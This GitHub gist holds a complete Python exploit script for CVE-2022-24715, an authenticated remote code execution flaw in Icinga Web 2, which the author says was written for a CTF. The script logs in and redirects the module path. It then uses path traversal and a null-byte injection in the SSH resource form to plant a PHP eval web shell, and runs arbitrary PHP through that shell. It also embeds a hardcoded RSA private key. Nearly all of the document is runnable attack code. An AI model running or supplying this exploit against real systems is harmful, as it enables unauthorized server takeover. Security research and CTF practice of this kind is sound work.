Skip to content

Instantly share code, notes, and snippets.

@bryanmcnulty
Last active July 17, 2023 06:30
Show Gist options
  • Save bryanmcnulty/be4c01b17506e05e7a9c8e1e7cf103e1 to your computer and use it in GitHub Desktop.
Save bryanmcnulty/be4c01b17506e05e7a9c8e1e7cf103e1 to your computer and use it in GitHub Desktop.
Icinga Web 2 versions < 2.8.6, 2.9.0-2.9.6 Authenticated Remote Code Execution (RCE) - CVE-2022-24715
#!/usr/bin/env python3
'''
* Written for a CTF :)
* ---
* Author: Bryan McNulty
* Contact: bryanmcnulty@protonmail.com
* Blog: https://bryanmcnulty.github.io
* GitHub: https://github.com/bryanmcnulty
* LinkedIn: https://www.linkedin.com/in/bryanmcnulty
* ---
* OS:
* - Linux
* - Windows?
* Dependencies:
* - argparse
* - bs4
* - requests
*
* Icinga Web 2 Authenticated RCE | CVE-2022-24715
'''
import argparse
import bs4
import random
import requests
def get_csrf(html):
bs = bs4.BeautifulSoup(html.text, 'lxml')
token = bs.find('input', {'id': 'CSRFToken'})['value']
return token
class CVE_2022_24715:
random_private_key = '''-----BEGIN RSA PRIVATE KEY-----\r
MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsQ/QH+NWTNSa/rY1\r
FM0wGT2AMCBiwxGf9BUSVxwZjzwIJ21ZYzGePXa3Sl9WPFfL1iXTt8l25FyJlw/0\r
BDk96wIDAQABAkEAmYm60kwSw+EA3qsl8HnVoa2BATq0Ka+Y4tF66+rEBz14CecK\r
9kdF6Riti3ntt6OFplZ05zY/NyBl1lLcvY598QIhANlw08TR2/rYu9SchwSRQjs0\r
N13yo/yLeZBjV3kaYCmNAiEA0HXmKiuuZbR4CtnZUptyja2ZG+47lbq4eyrVk1Fe\r
W1cCIGFucxXAS2fNcezE7qMXS6wnq5+HN//Tp3cRbIKxVOGJAiAvOobrBvp8EGci\r
Djkufgl2D96gdVkKk0M4pHu+5LB8AQIgZ31NPGShnAq4fNa71cNKbM7R3ywgijuV\r
tAZB3bwiboU=\r
-----END RSA PRIVATE KEY-----'''
php_web_shell = '<?php echo @eval($_POST["e"]);?>'
def __init__(self, args):
self.url = args.target.rstrip('/')
self.session = requests.Session()
if args.proxy:
self.session.proxies = {'http': args.proxy, 'https': args.proxy}
self.creds = (args.username, args.password)
self.code = args.code + ';'
@staticmethod
def rand():
return random.randbytes(8).hex()
def csrf_post(self, path, data):
url = self.url + path
get_response = self.session.get(url)
soup = bs4.BeautifulSoup(get_response.text, 'lxml')
token = soup.find('input', {'id': 'CSRFToken'})['value']
data['CSRFToken'] = token
return self.session.post(url, data=data)
def exploit(self):
# Login
response = self.csrf_post('/authentication/login', {
'username': self.creds[0],
'password': self.creds[1],
'rememberme': '0',
'redirect': '',
'formUID': 'form_login',
'btn_submit': 'Login'
})
if response.status_code == 302:
print('Login successful!')
if self.session.get(self.url + '/shm/run').content.startswith(b'file://'):
print(self.execute())
return
# Change module location
self.csrf_post('/config/general', {
'global_show_stacktraces':'1',
'global_show_application_state_messages':'1',
'global_module_path':'/dev', # Important
'global_config_resource': 'icingaweb2',
'logging_log': 'syslog',
'logging_level': 'ERROR',
'logging_application': 'icingaweb2',
'logging_facility': 'user',
'runs_default': 'Icinga',
'runs_disabled': '0',
'authentication_default_domain': '',
'formUID': 'form_config_general',
'btn_submit':'Save Changes'
})
# Enable module
self.csrf_post('/config/moduleenable', {
'identifier':'shm',
'btn_submit':'btn_submit'
})
ssh_name = self.rand()
# Upload SSH Key
self.csrf_post('/config/createresource', {
'type': 'ssh',
'name': ssh_name,
'user': ssh_name,
'private_key': self.random_private_key,
'formUID': 'form_config_resource',
'btn_submit': 'Save Changes'
})
# Upload PHP Web Shell
self.csrf_post('/config/createresource', {
'type': 'ssh',
'name': self.rand(),
'user':'../../../../../../dev/shm/run.php', # <-- Create run.php
'private_key': f'file:///etc/icingaweb2/ssh/{ssh_name}\x00' + self.php_web_shell,
'formUID': 'form_config_resource',
'btn_submit': 'Save Changes'
})
print(self.execute())
def execute(self):
post_data = {"e": self.code}
response = self.session.post(self.url + '/shm/run', data=post_data)
output = b''.join(response.content.split(b'<!DOCTYPE html>')[:-1])[44:]
return output
def main():
parser = argparse.ArgumentParser(prog='CVE-2022-24715.py', description='Icinga Web 2 - CVE-2022-24715 Authenticated RCE Exploit')
required = parser.add_argument_group('required arguments')
required.add_argument('target', metavar='PROTO://HOST[:PORT][/PATH]', help='URI pointing to Icingaweb2 web root (Ex: "http://example.com:8080/icingaweb2")')
required.add_argument('-u', '--username', required=True, help='Icinga web account username')
required.add_argument('-p', '--password', required=True, help='Icinga web account password')
required.add_argument('-c', '--code', required=True, help='PHP code to run')
parser.add_argument('--proxy', default=None, metavar='PROTO://[USER:PASS@]HOST[:PORT]', help='Proxy to send requests through')
CVE_2022_24715(parser.parse_args()).exploit()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment